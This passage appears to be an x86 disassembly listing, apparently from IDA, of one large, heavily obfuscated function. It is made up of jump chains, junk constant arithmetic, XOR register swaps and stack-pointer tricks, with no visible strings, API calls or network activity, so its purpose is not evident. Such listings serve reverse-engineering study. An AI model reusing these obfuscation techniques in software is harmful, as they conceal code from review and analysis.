		jz	loc_5AA1EB
		push	ebx


loc_5A0E32:				; CODE XREF: sub_58A891+118BFj
		pop	dx
		jmp	loc_5A15D7
; ---------------------------------------------------------------------------


loc_5A0E39:				; CODE XREF: sub_58A891+1E978j
		shr	al, 6
		neg	al
		jmp	loc_59D85B
; ---------------------------------------------------------------------------


loc_5A0E43:				; CODE XREF: sub_58A891+22B1Ej
		jo	loc_5A298B
		xor	ecx, 3E8867C8h
		jmp	loc_5A6EE5
; ---------------------------------------------------------------------------


loc_5A0E54:				; CODE XREF: sub_58A891+16A2Bj
		jmp	loc_5B0531
; ---------------------------------------------------------------------------


loc_5A0E59:				; CODE XREF: sub_58A891+20724j
		add	edi, edx
		push	[esp+32h+var_34+2]
		pop	edx
		add	esp, 4
		jmp	loc_5A2935
; ---------------------------------------------------------------------------


loc_5A0E6A:				; CODE XREF: sub_58A891+20152j
		shl	esi, 4
		jns	loc_5A643B
		jmp	loc_5B0624
; ---------------------------------------------------------------------------


loc_5A0E78:				; CODE XREF: sub_58A891+1AFCCj
		mov	ecx, 5DE93E41h
		jmp	loc_5AD224
; ---------------------------------------------------------------------------


loc_5A0E82:				; CODE XREF: sub_58A891+180E8j
					; sub_58A891+271A1j
		mov	edx, [esp+2Eh+var_30+2]
		push	4508h
		mov	[esp+32h+var_34+2], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp+32h+var_34+2]
		xor	[esp+32h+var_34+2], ebp
		xor	ebp, [esp+32h+var_34+2]
		pop	esp
		jmp	loc_5AF25C
; ---------------------------------------------------------------------------


loc_5A0EAA:				; CODE XREF: sub_58A891+12CAAj
		push	[esp+0Ah+var_C+2]
		pop	ebx
		add	esp, 4
		push	eax
		mov	eax, 10AA5357h
		shl	eax, 5
		sub	eax, 154A6ADCh
		sub	esp, 4
		mov	[esp+0Eh+var_10+2], edx
		mov	edx, 4892391Ch
		sub	ebx, edx
		pop	edx
		add	ebx, 270F5551h
		jmp	loc_5A44AF
; ---------------------------------------------------------------------------


loc_5A0EDB:				; CODE XREF: sub_58A891+147F2j
		jmp	loc_5ADD92
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+0AAh+var_AA]
		push	6E9Ah
		mov	[esp+0AEh+var_AE], ecx
		push	esp
		mov	ecx, [esp+0B2h+var_B2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+0B2h+var_B2], edi
		push	7928h
		mov	[esp+0B6h+var_B6], eax
		jmp	loc_59C999
; ---------------------------------------------------------------------------


loc_5A0F09:				; CODE XREF: sub_58A891+23A53j
		push	eax
		push	ebx
		push	5B2621DFh
		pop	ebx
		jmp	loc_5B0C43
; ---------------------------------------------------------------------------


loc_5A0F16:				; CODE XREF: sub_58A891+21D96j
					; sub_58A891+22E5Cj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0BEh+var_BE]
		jmp	loc_5AD065
; ---------------------------------------------------------------------------


loc_5A0F2A:				; CODE XREF: sub_58A891+12540j
		push	dword ptr [esp+0]
		mov	ecx, [esp+7Ah+var_7A]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+7Eh+var_7E]
		mov	esp, [esp+7Eh+var_7E]
		push	ebp
		push	esp
		pop	ebp
		push	edx
		jmp	loc_5B2407
; ---------------------------------------------------------------------------


loc_5A0F4B:				; CODE XREF: sub_58A891+12770j
		push	ecx
		jmp	loc_5ADA9A
; ---------------------------------------------------------------------------


loc_5A0F51:				; CODE XREF: sub_58A891+17BAAj
					; sub_58A891+26F49j
		sub	esp, 4
		jmp	loc_59C8E7
; ---------------------------------------------------------------------------


loc_5A0F5C:				; CODE XREF: sub_58A891+20F9Bj
		add	ebx, 0FFFFFFFFh
		push	eax
		mov	eax, 71573B71h
		xor	ebx, eax
		pop	eax
		add	edx, ebx
		pop	ebx
		jmp	loc_5AF442
; ---------------------------------------------------------------------------


loc_5A0F73:				; CODE XREF: sub_58A891+233F6j
		push	ebp
		mov	ebp, 36CB7B1Dh
		push	ebp
		inc	[esp+86h+var_86]
		pop	ebp
		jmp	loc_5A8319
; ---------------------------------------------------------------------------


loc_5A0F83:				; CODE XREF: sub_58A891+2702Fj
		xor	ebp, 227255D3h
		jmp	loc_5A90C3
; ---------------------------------------------------------------------------
		lodsw
		push	75B5h
		mov	[esp+86h+var_86], edi
		push	eax
		mov	ax, 3962h
		jmp	loc_5A5511
; ---------------------------------------------------------------------------


loc_5A0FA2:				; CODE XREF: sub_58A891+1855Aj
		sub	ecx, 5287DBEh
		add	ecx, edi
		add	ecx, 5287DBEh
		sub	ecx, 6D5F0A8Ah
		pop	edi
		push	edx
		mov	edx, 5B1C7720h
		xor	edx, 52EA7679h
		push	esi
		mov	esi, 1C310804h
		dec	esi
		jmp	loc_5A5079
; ---------------------------------------------------------------------------


loc_5A0FCF:				; CODE XREF: sub_58A891+2737Aj
		pop	ecx
		jmp	loc_5A509A
; ---------------------------------------------------------------------------


loc_5A0FD5:				; CODE XREF: sub_58A891+1BFD6j
		add	[esp+8Ah+var_8A], 4
		jmp	loc_5A0114
; ---------------------------------------------------------------------------
		pop	dword ptr [edi+40h]
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A0FE9:				; CODE XREF: sub_58A891+200FCj
		jmp	loc_5B0679
; ---------------------------------------------------------------------------


loc_5A0FEE:				; CODE XREF: sub_58A891+13694j
		mov	eax, 1D743E89h
		sub	eax, edx
		pop	edx
		push	ebx
		mov	ebx, esp
		push	4DF8h
		mov	[esp+6+var_8+2], eax
		mov	eax, 23382810h
		jmp	loc_5A6881
; ---------------------------------------------------------------------------


loc_5A100B:				; CODE XREF: sub_58A891+25024j
		add	eax, 4
		push	6D18h
		mov	[esp+0Ah+var_C+2], edi
		sub	esp, 4
		mov	[esp+0Eh+var_10+2], esp
		add	[esp+0Eh+var_10+2], 4
		pop	edi
		add	edi, 4
		jmp	loc_59E3A4
; ---------------------------------------------------------------------------


loc_5A1031:				; CODE XREF: sub_58A891+14CCEj
		add	esi, eax
		pop	eax
		xchg	esi, [esp-0Eh+arg_4+2]
		mov	esp, [esp-0Eh+arg_4+2]
		jmp	loc_5A3270
; ---------------------------------------------------------------------------


loc_5A103F:				; CODE XREF: sub_58A891+14AF9j
		jl	loc_5A6F52
		xor	edi, 220D7F5Eh
		mov	ebx, edi
		pop	edi
		push	3488h
		mov	[esp+4Ah+var_4A], ebx
		mov	eax, [esp+4Ah+var_4A]
		add	esp, 4
		pop	ebx
		add	eax, 4A7B1435h
		sub	eax, edi
		push	40ECh
		mov	[esp+46h+var_46], edi
		mov	edi, 752C0F64h
		add	edi, 0D54F04D1h
		sub	eax, edi
		mov	edi, [esp+46h+var_46]
		add	esp, 4
		pop	edi
		push	ecx
		mov	ecx, 38495BCFh
		jmp	loc_59E726
; ---------------------------------------------------------------------------


loc_5A108B:				; CODE XREF: sub_58A891+1DF1Dj
		mov	[esp+0], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_59E7C2
; ---------------------------------------------------------------------------


loc_5A109B:				; CODE XREF: sub_58A891+12A40j
					; sub_58A891+1B5A4j
		xchg	eax, [esp-0Ah+arg_0+2]
		jmp	loc_5A5F6D
; ---------------------------------------------------------------------------


loc_5A10A3:				; CODE XREF: sub_58A891+1F245j
		or	[edi+1Ch], eax
		mov	eax, [esp-0Ah+arg_0+2]
		add	esp, 4
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A10B4:				; CODE XREF: sub_58A891+25495j
		or	edx, 6BBD20EBh
		sub	edx, 34C84981h
		jmp	loc_5AA13D
; ---------------------------------------------------------------------------


loc_5A10C5:				; CODE XREF: sub_58A891+17DD3j
		mov	[esp-0Eh+arg_4+2], ebp
		mov	ebp, 6B9D54ADh
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_5A08C4
; ---------------------------------------------------------------------------


loc_5A10DB:				; CODE XREF: sub_58A891+15813j
					; sub_58A891+235F9j
		mov	[esp-0Eh+arg_4+2], edi
		push	6F1F3F40h
		push	[esp-0Ah+arg_0+2]
		pop	edi
		add	esp, 4
		shr	edi, 3
		neg	edi
		jmp	loc_5A7F32
; ---------------------------------------------------------------------------


loc_5A10F4:				; CODE XREF: sub_58A891+22D73j
					; sub_58A891+239CBj
		pop	ebp
		push	ebx
		mov	ebx, 15303653h
		inc	ebx
		push	edi
		mov	edi, 69831445h
		xor	ebx, edi
		pop	edi
		jmp	loc_5AC489
; ---------------------------------------------------------------------------


loc_5A110A:				; CODE XREF: sub_58A891+13366j
		pop	[esp+0Eh+var_10+2]
		pop	esp
		jmp	loc_5A02D2
; ---------------------------------------------------------------------------


loc_5A1113:				; CODE XREF: sub_58A891+11E47j
		add	edi, 4
		push	ecx
		jmp	loc_5A8416
; ---------------------------------------------------------------------------


loc_5A111F:				; CODE XREF: sub_58A891+26978j
		xor	[esp+54h+var_54], ecx
		jmp	loc_5A3BD1
; ---------------------------------------------------------------------------


loc_5A1127:				; CODE XREF: sub_58A891+12151j
		push	esi
		mov	esi, 0D6952BFh
		jmp	loc_59D484
; ---------------------------------------------------------------------------


loc_5A1132:				; CODE XREF: sub_58A891+15BB2j
		sub	eax, edx
		pop	edx
		mov	esi, [esp+0B6h+var_B6]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	eax
		mov	eax, 3B6679CFh
		jmp	loc_5A50DE
; ---------------------------------------------------------------------------


loc_5A114C:				; CODE XREF: sub_58A891+126E9j
		add	edx, 11BA33B3h
		shr	edx, 4
		jmp	loc_5A926A
; ---------------------------------------------------------------------------


loc_5A115A:				; CODE XREF: sub_58A891+21113j
		pop	esp
		mov	[esp+0], edx
		not	dword ptr [esp+0]
		mov	edx, [esp+0]
		push	edx
		sub	esp, 4
		push	esp
		pop	[esp+82h+var_82]
		jmp	loc_5A2B34
; ---------------------------------------------------------------------------


loc_5A1171:				; CODE XREF: sub_58A891+14E96j
		add	ecx, 4FBD3E03h
		shl	ecx, 5
		shr	ecx, 2
		or	ecx, 77D85105h
		xor	ecx, 7FF95731h
		jmp	loc_5A1F74
; ---------------------------------------------------------------------------


loc_5A118E:				; CODE XREF: sub_58A891+187F1j
		pop	esp
		push	small word ptr [eax]
		jmp	loc_5A4965
; ---------------------------------------------------------------------------


loc_5A1197:				; CODE XREF: sub_58A891+220B8j
		xor	esi, 8741773h
		shr	esi, 8
		jmp	loc_5A5F37
; ---------------------------------------------------------------------------


loc_5A11A5:				; CODE XREF: sub_58A891+1EE64j
		sub	esp, 4
		mov	[esp+3Ch+var_3C], ebp
		push	edi
		mov	edi, 3066552Dh
		jmp	loc_5A0631
; ---------------------------------------------------------------------------


loc_5A11B6:				; CODE XREF: sub_58A891+2209Bj
		xor	ebx, edi
		pop	edi
		push	ebp
		mov	ebp, 22B3CE1h
		inc	ebp
		add	ebp, 1
		jmp	loc_5A45A2
; ---------------------------------------------------------------------------


loc_5A11CB:				; CODE XREF: sub_58A891+20480j
		push	ecx
		mov	ecx, 535C4EE8h
		xor	ecx, 946B99ABh
		mov	ebx, ecx
		pop	ecx
		add	ebp, 34D55EEAh
		sub	ebp, ebx
		push	edx
		mov	edx, 34D55EEAh
		sub	ebp, edx
		pop	edx
		jmp	loc_5A205C
; ---------------------------------------------------------------------------


loc_5A11F0:				; CODE XREF: sub_58A891+22299j
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A11F5:				; CODE XREF: sub_58A891+1816Ej
		push	ebx
		sub	esp, 4
		mov	[esp+48h+var_4A+2], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+48h+var_4A+2]
		pop	esp
		mov	[esp+44h+var_46+2], eax
		mov	ah, 0B8h
		mov	bl, 82h
		xor	bl, ah
		mov	eax, [esp+44h+var_46+2]
		add	esp, 4
		add	bl, 0B4h
		jmp	loc_5A3206
; ---------------------------------------------------------------------------


loc_5A1228:				; CODE XREF: sub_58A891+21CA8j
		push	ebp
		jmp	loc_5A4069
; ---------------------------------------------------------------------------


loc_5A122E:				; CODE XREF: sub_58A891+1E747j
		xor	[esp+44h+var_46+2], esi
		jmp	loc_5A2C9E
; ---------------------------------------------------------------------------


loc_5A1236:				; CODE XREF: sub_58A891+1FFD0j
		add	esp, 4
		mov	esi, [esp+40h+var_40]
		jmp	loc_5A04E3
; ---------------------------------------------------------------------------


loc_5A1241:				; CODE XREF: sub_58A891+16AC7j
		xor	edi, edx
		mov	edx, [esp+40h+var_40]
		add	esp, 4
		sub	esp, 4
		mov	[esp+40h+var_40], eax
		mov	eax, 13012915h
		add	edx, eax
		pop	eax
		sub	edx, edi
		sub	edx, 13012915h
		pop	edi
		add	edx, eax
		add	edx, 6429359Eh
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A126D:				; CODE XREF: sub_58A891+1B7CCj
		add	edx, 4
		xchg	edx, [esp+38h+var_38]
		jmp	loc_5A6A11
; ---------------------------------------------------------------------------


loc_5A127B:				; CODE XREF: sub_58A891+27C2Ej
		add	esp, 4
		jmp	loc_5AB98E
; ---------------------------------------------------------------------------


loc_5A1286:				; CODE XREF: sub_58A891+23EB1j
		add	edi, ecx
		pop	ecx
		mov	ebx, edi
		push	[esp+30h+var_30]
		mov	edi, [esp+34h+var_34]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	131h
		mov	[esp+3Ch+var_3C], esi
		push	edi
		mov	edi, 32B279B0h
		mov	esi, edi
		pop	edi
		jmp	loc_5AA4BA
; ---------------------------------------------------------------------------


loc_5A12B0:				; CODE XREF: sub_58A891+1D8CAj
		add	ebx, 255D387Eh
		sub	ebx, 1F73C453h
		jmp	loc_5A0E54
; ---------------------------------------------------------------------------


loc_5A12C1:				; CODE XREF: sub_58A891+1DB8Aj
		not	ecx
		xor	ecx, 1BB31F1Ah
		inc	ecx
		shr	ecx, 7
		jmp	loc_5A6206
; ---------------------------------------------------------------------------


loc_5A12D2:				; CODE XREF: sub_58A891+27CC2j
		pop	edx
		mov	ebp, 731B895Bh
		add	ebp, 3B636FCDh
		sub	ebp, edi
		sub	ebp, 3B636FCDh
		pop	edi
		add	ebp, 36E154D9h
		jno	loc_5B0060
		push	edx
		mov	edx, 0FFFFFFFFh
		add	ebp, edx
		jmp	loc_5AEE95
; ---------------------------------------------------------------------------
		pop	edx


loc_5A1301:				; CODE XREF: sub_58A891+146A0j
		mov	eax, 49C17428h
		and	ebx, eax
		pop	eax
		shr	ebx, 1
		push	esi
		mov	esi, 5AC566B8h
		add	ebx, esi
		jmp	loc_5AF9AE
; ---------------------------------------------------------------------------


loc_5A1318:				; CODE XREF: sub_58A891+14041j
		mov	esi, esp
		push	edx
		mov	edx, 493B0F6Fh
		neg	edx
		jmp	loc_5A007A
; ---------------------------------------------------------------------------


loc_5A1327:				; CODE XREF: sub_58A891+17A19j
		pop	ebx
		jmp	loc_5B18D0
; ---------------------------------------------------------------------------


loc_5A132D:				; CODE XREF: sub_58A891+1B167j
		add	esp, 4
		push	ecx
		push	ebx
		jmp	loc_5ABEF1
; ---------------------------------------------------------------------------


loc_5A133A:				; CODE XREF: sub_58A891+12C71j
		push	esi
		jmp	loc_5AE747
; ---------------------------------------------------------------------------


loc_5A1340:				; CODE XREF: sub_58A891+1ED66j
		add	esi, 0FFFFFFFFh
		and	esi, 775633B1h
		jmp	loc_59F981
; ---------------------------------------------------------------------------

locret_5A134E:				; CODE XREF: sub_58A891+19A11j
		retn
; ---------------------------------------------------------------------------
		pop	small word ptr [edx]
		jmp	loc_5A277E
; ---------------------------------------------------------------------------


loc_5A1357:				; CODE XREF: sub_58A891+1A26Dj
		pop	ebp
		jmp	loc_5A1241
; ---------------------------------------------------------------------------


loc_5A135D:				; CODE XREF: sub_58A891+2266Aj
		xor	ebx, [esp+4+var_4]
		xor	[esp+4+var_4], ebx
		xor	ebx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		sub	byte ptr [esp+4+var_4],	al
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A1372:				; CODE XREF: sub_58A891+162AEj
		sub	esp, 4
		mov	[esp-12h+arg_8+2], esp
		add	[esp-12h+arg_8+2], 4
		pop	eax
		jmp	loc_5ADD26
; ---------------------------------------------------------------------------


loc_5A1382:				; CODE XREF: sub_58A891+174D6j
		sub	esp, 4
		jmp	loc_5A1D7A
; ---------------------------------------------------------------------------


loc_5A138A:				; CODE XREF: sub_58A891+11E8Fj
		pop	edi
		pop	dword ptr [esp+0]
		jmp	loc_59C646
; ---------------------------------------------------------------------------


loc_5A1393:				; CODE XREF: sub_58A891+27729j
		push	ebp
		jmp	loc_5AB81A
; ---------------------------------------------------------------------------


loc_5A1399:				; CODE XREF: sub_58A891+13D7Ej
		xchg	ebp, [esp+86h+var_86]
		pop	esp
		sub	eax, 1E327058h
		jmp	loc_5AFC97
; ---------------------------------------------------------------------------


loc_5A13A7:				; CODE XREF: sub_58A891+264F8j
		jmp	loc_59E699
; ---------------------------------------------------------------------------


loc_5A13AC:				; CODE XREF: sub_58A891+137E6j
		xor	eax, edx
		pop	edx
		sub	ebx, eax
		pop	eax
		jmp	loc_5B20A7
; ---------------------------------------------------------------------------


loc_5A13B7:				; CODE XREF: sub_58A891+25A86j
		add	ebx, 6D2C2ED9h
		jmp	loc_59E521
; ---------------------------------------------------------------------------


loc_5A13C2:				; CODE XREF: sub_58A891+24B5Fj
		push	esp
		pop	[esp+8Eh+var_8E]
		add	[esp+8Ah+var_8A], 4
		mov	ebp, [esp+8Ah+var_8A]
		add	esp, 4
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	[esp+8Ah+var_86]
		pop	ebp
		pop	[esp+8Ah+var_8A]
		pop	esp
		add	al, 0Fh
		jmp	loc_5AC9F2
; ---------------------------------------------------------------------------


loc_5A13F0:				; CODE XREF: sub_58A891+28482j
		pop	eax
		push	ebx
		jmp	loc_5B177F
; ---------------------------------------------------------------------------


loc_5A13F7:				; CODE XREF: sub_58A891+22FC8j
		sub	bl, 0C4h
		push	esi
		jmp	loc_5B03F6
; ---------------------------------------------------------------------------


loc_5A1400:				; CODE XREF: sub_58A891+1769Dj
		add	esp, 4
		jmp	loc_5B1461
; ---------------------------------------------------------------------------


loc_5A1408:				; CODE XREF: sub_58A891+1F484j
		xor	ecx, 3D8119ECh
		push	69D0h
		mov	[esp+86h+var_86], ecx
		not	[esp+86h+var_86]
		pop	ecx
		jmp	loc_5A9315
; ---------------------------------------------------------------------------


loc_5A141F:				; CODE XREF: sub_58A891+11833j
		mov	edi, esp
		jmp	loc_5A33FD
; ---------------------------------------------------------------------------


loc_5A1426:				; CODE XREF: sub_58A891+183A8j
		dec	ch
		shr	ch, 7
		push	eax
		mov	al, 0B6h
		jmp	loc_5AADF1
; ---------------------------------------------------------------------------


loc_5A1433:				; CODE XREF: sub_58A891+21A8Fj
		add	esi, edi
		add	esi, 681F4700h
		mov	edi, [esp+0Eh+var_10+2]
		add	esp, 4
		jmp	loc_5A86E4
; ---------------------------------------------------------------------------


loc_5A1446:				; CODE XREF: sub_58A891+2177Ej
		xor	edi, 47263408h
		jmp	loc_5A20C3
; ---------------------------------------------------------------------------


loc_5A1451:				; CODE XREF: sub_58A891+15FD8j
		push	3F2Ah
		mov	[esp+6Eh+var_70+2], ebp
		push	4
		pop	ebp
		mov	ecx, ebp
		pop	ebp
		add	[esp+6Ah+var_68+2], 67033AC8h
		add	[esp+6Ah+var_68+2], ecx
		sub	[esp+6Ah+var_68+2], 67033AC8h
		mov	ecx, [esp+6Ah+var_6C+2]
		push	ebp
		jmp	loc_5A1E56
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	byte ptr [esp+6Ch+var_6C], al
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A148E:				; CODE XREF: sub_58A891+1A467j
					; sub_58A891+26652j
		neg	ecx
		jmp	loc_5ACFCA
; ---------------------------------------------------------------------------


loc_5A1495:				; CODE XREF: sub_58A891+19DCCj
		mov	edi, 486A6FF9h
		jmp	loc_5B2F93
; ---------------------------------------------------------------------------


loc_5A149F:				; CODE XREF: sub_58A891+1CF1Aj
		mov	ebx, 621F7F4Eh
		dec	ebx
		jmp	loc_5B2899
; ---------------------------------------------------------------------------


loc_5A14AA:				; CODE XREF: sub_58A891+1FA4Bj
					; sub_58A891+24EF7j
		xor	edx, [esp+70h+var_70]
		mov	esp, [esp+70h+var_70]
		push	esi
		push	esp
		mov	esi, [esp+78h+var_7A+2]
		add	esp, 4
		push	ecx
		jmp	loc_5A90CE
; ---------------------------------------------------------------------------


loc_5A14BE:				; CODE XREF: sub_58A891+270A7j
		sub	edi, ebx
		add	edi, 25D536C4h
		pop	ebx
		shl	edi, 7
		dec	edi
		jmp	loc_5AA3DB
; ---------------------------------------------------------------------------


loc_5A14D0:				; CODE XREF: sub_58A891+2623Dj
		mov	[esp+74h+var_74], edx
		jmp	loc_5A2930
; ---------------------------------------------------------------------------


loc_5A14D8:				; CODE XREF: sub_58A891+1CD07j
		jp	loc_5B1E16
		shr	eax, 8
		jp	loc_5AAA6E
		mov	al, dh


loc_5A14E9:				; CODE XREF: sub_58A891+20DFEj
		xchg	eax, [esp+74h+var_74]
		pop	esp
		add	esp, 4
		add	esp, 4
		jmp	loc_5AE911
; ---------------------------------------------------------------------------


loc_5A14FB:				; CODE XREF: sub_58A891+263B4j
		js	loc_5AD5B5
		add	ebx, 62510D19h
		jmp	loc_5ABB55
; ---------------------------------------------------------------------------


loc_5A150C:				; CODE XREF: sub_58A891+241C3j
		sub	ecx, 120828D2h
		dec	ecx
		jmp	loc_5B29CE
; ---------------------------------------------------------------------------


loc_5A1518:				; CODE XREF: sub_58A891+146F7j
		sub	ecx, 79106E59h
		add	ecx, edx
		jmp	loc_5AC4D2
; ---------------------------------------------------------------------------


loc_5A1525:				; CODE XREF: sub_58A891+25413j
		pop	edi
		sub	edi, 1
		jmp	loc_5A7FF2
; ---------------------------------------------------------------------------


loc_5A1531:				; CODE XREF: sub_58A891+12051j
					; sub_58A891:loc_5B1C38j
		xor	ebx, 34721080h
		push	[esp+7Eh+var_7E]
		mov	edx, [esp+82h+var_82]
		add	esp, 4
		sub	esp, 4
		mov	[esp+82h+var_82], eax
		mov	eax, esp
		jmp	loc_5B1C1C
; ---------------------------------------------------------------------------


loc_5A1550:				; CODE XREF: sub_58A891+18AD3j
		sub	ebx, 933785B9h
		shr	ebx, 6
		shl	ebx, 1
		jmp	loc_59E465
; ---------------------------------------------------------------------------
		push	dword ptr [edi+2Ch]
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A1568:				; CODE XREF: sub_58A891+235A4j
		pop	edx
		push	2A57h
		mov	[esp+86h+var_86], esi
		push	ebp
		mov	ebp, 0B15473Dh
		xor	[esp+8Ah+var_86], ebp
		pop	ebp
		push	[esp+86h+var_86]
		pop	ebx
		jmp	loc_5A6A56
; ---------------------------------------------------------------------------


loc_5A1585:				; CODE XREF: sub_58A891+18764j
		or	edx, ebx
		pop	ebx
		dec	edx
		jmp	loc_5B0F5C
; ---------------------------------------------------------------------------


loc_5A158E:				; CODE XREF: sub_58A891+17B14j
		jo	loc_5B19A9
		or	ecx, 522D1F59h
		jns	loc_5B24D7
		pop	ebp


loc_5A15A1:				; CODE XREF: sub_58A891+1D4DFj
		jmp	loc_59D4C8
; ---------------------------------------------------------------------------


loc_5A15A6:				; CODE XREF: sub_58A891+2716Aj
		add	edi, 394C388Bh
		sub	edi, 1F047335h
		jmp	loc_5AC0DA
; ---------------------------------------------------------------------------


loc_5A15B7:				; CODE XREF: sub_58A891+22CE8j
		mov	ebx, edi
		pop	edi
		jmp	loc_5AAA9A
; ---------------------------------------------------------------------------


loc_5A15BF:				; CODE XREF: sub_58A891+121AAj
		shr	eax, 0Ch
		jmp	loc_59C13C
; ---------------------------------------------------------------------------


loc_5A15C7:				; CODE XREF: sub_58A891:loc_5AAD05j
		sub	esp, 4
		mov	[esp+82h+var_82], eax
		mov	eax, 436F6889h
		jmp	loc_59F564
; ---------------------------------------------------------------------------


loc_5A15D7:				; CODE XREF: sub_58A891+165A3j
		add	bh, 1
		sub	bh, 1
		not	bh
		add	bh, 0BDh
		sub	al, 43h
		jmp	loc_5A460B
; ---------------------------------------------------------------------------


loc_5A15E9:				; CODE XREF: sub_58A891+1CC8Ej
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp+2Eh+var_30+2]
		xor	[esp+2Eh+var_30+2], ebp
		xor	ebp, [esp+2Eh+var_30+2]
		jmp	loc_59EC9D
; ---------------------------------------------------------------------------


loc_5A1604:				; CODE XREF: sub_58A891+1C944j
		add	edx, 5F11790Eh
		push	ecx
		mov	ecx, 61B77E7Eh
		jmp	loc_59D6AD
; ---------------------------------------------------------------------------


loc_5A1615:				; CODE XREF: sub_58A891+26966j
		push	[esp+32h+var_34+2]
		pop	edi
		push	edi
		sub	esp, 4
		mov	[esp+3Ah+var_3C+2], esp
		add	[esp+3Ah+var_3C+2], 4
		mov	edi, [esp+3Ah+var_3C+2]
		add	esp, 4
		push	ecx
		jmp	loc_5B293A
; ---------------------------------------------------------------------------


loc_5A1633:				; CODE XREF: sub_58A891+1942Cj
		sub	ebp, 1BCA1279h
		or	ebp, 5B5E7FABh
		push	ebx
		jmp	loc_5A4AD4
; ---------------------------------------------------------------------------


loc_5A1645:				; CODE XREF: sub_58A891+24DA4j
		push	[esp+3Eh+var_40+2]
		pop	ebx
		add	esp, 4
		inc	ebx
		sub	ebx, 52CF57AAh
		jnp	loc_5A3EFA
		inc	ebx
		jno	loc_5B1C6A
		xor	ebx, 0D924DBD7h
		mov	esi, ebx
		pop	ebx
		add	eax, esi


loc_5A166B:				; CODE XREF: sub_58A891+23361j
		not	edx
		inc	edx
		jmp	loc_59EDFD
; ---------------------------------------------------------------------------


loc_5A1673:				; CODE XREF: sub_58A891+214EBj
		pop	eax
		push	eax
		mov	ah, bl
		mov	dh, ah
		jmp	loc_5A9428
; ---------------------------------------------------------------------------


loc_5A167E:				; CODE XREF: sub_58A891+1DEECj
		pop	eax
		xor	edi, 4F3F67AAh
		neg	edi
		add	edi, 651392F1h
		xor	esi, edi
		jmp	loc_59E814
; ---------------------------------------------------------------------------


loc_5A1694:				; CODE XREF: sub_58A891+1271Dj
		mov	[esp+82h+var_82], eax
		push	ebp
		mov	ebp, 7A06732Eh
		not	ebp
		sub	ebp, 31E65750h
		jmp	loc_59E108
; ---------------------------------------------------------------------------


loc_5A16AA:				; CODE XREF: sub_58A891+164F6j
		pop	ebx
		xchg	ecx, ebp
		push	ecx
		not	[esp+84h+var_86+2]
		pop	ecx
		xchg	ecx, ebp
		inc	ebp
		xor	ebp, 664B0318h
		or	ebp, 333D2A9Ch
		jb	loc_5A4178
		sub	ebp, 0B7FDFEBAh
		sub	esp, 4
		mov	[esp+84h+var_86+2], ebp
		pop	ebx
		mov	ebp, [esp+80h+var_82+2]
		add	esp, 4
		jmp	loc_59E0D4
; ---------------------------------------------------------------------------


loc_5A16E2:				; CODE XREF: sub_58A891+24E19j
		push	eax
		push	esp
		pop	eax
		jmp	loc_5B276B
; ---------------------------------------------------------------------------


loc_5A16EA:				; CODE XREF: sub_58A891+11DD7j
		dec	ebx
		add	ebx, 4C749D35h
		sub	edi, ebx
		pop	ebx
		add	ecx, 1923C6Dh
		add	ecx, edi
		sub	ecx, 1923C6Dh
		push	dword ptr [esp+0]
		jmp	loc_5ADC1D
; ---------------------------------------------------------------------------


loc_5A170A:				; CODE XREF: sub_58A891+22A5Aj
		pop	eax
		pop	dword ptr [esp+0]
		mov	esp, [esp+3Eh+var_40+2]
		jmp	loc_5B1AB3
; ---------------------------------------------------------------------------


loc_5A1716:				; CODE XREF: sub_58A891+17CA4j
		add	eax, ebx
		add	eax, 31782F70h
		push	[esp+3Eh+var_40+2]
		mov	ebx, [esp+0]
		push	edx
		mov	edx, esp
		jmp	loc_5B13E7
; ---------------------------------------------------------------------------


loc_5A172B:				; CODE XREF: sub_58A891+21774j
		shl	edi, 5
		jmp	loc_5A5D9C
; ---------------------------------------------------------------------------


loc_5A1733:				; CODE XREF: sub_58A891+1DE6Bj
		mov	[esp+46h+var_46], edx
		mov	edx, 1
		add	ebx, edx
		pop	edx
		shl	ebx, 5
		jmp	loc_5A3DC0
; ---------------------------------------------------------------------------


loc_5A1746:				; CODE XREF: sub_58A891+15169j
		add	esi, 1216E205h
		mov	edi, esi
		pop	esi
		add	edi, 0C453ADB7h
		add	ebx, 12982A4Dh
		push	edx
		push	ebx
		mov	ebx, 7F7365FEh
		shl	ebx, 1
		jmp	loc_5A9F38
; ---------------------------------------------------------------------------


loc_5A1769:				; CODE XREF: sub_58A891+1BB0Fj
		xor	ebx, esi
		push	2237h
		jmp	loc_5A60FA
; ---------------------------------------------------------------------------


loc_5A1775:				; CODE XREF: sub_58A891+1FBEBj
		add	eax, ecx
		mov	ecx, [esp-0Eh+arg_4+2]
		add	esp, 4
		sub	eax, 22197B81h
		add	eax, ebp
		add	eax, 22197B81h
		push	edx
		mov	edx, 56AE4AF2h
		add	edx, 1
		add	edx, 15C62CDDh
		jmp	loc_59D3C5
; ---------------------------------------------------------------------------


loc_5A17A0:				; CODE XREF: sub_58A891+122CEj
		xor	ebp, 0A9EA2875h
		add	ecx, ebp
		mov	ebp, [esp+82h+var_82]
		push	eax
		mov	eax, esp
		jmp	loc_5AA0E1
; ---------------------------------------------------------------------------


loc_5A17B3:				; CODE XREF: sub_58A891+20A88j
		mov	ecx, [esp+86h+var_86]
		sub	esp, 4
		jmp	loc_5A809B
; ---------------------------------------------------------------------------


loc_5A17BE:				; CODE XREF: sub_58A891+1CC12j
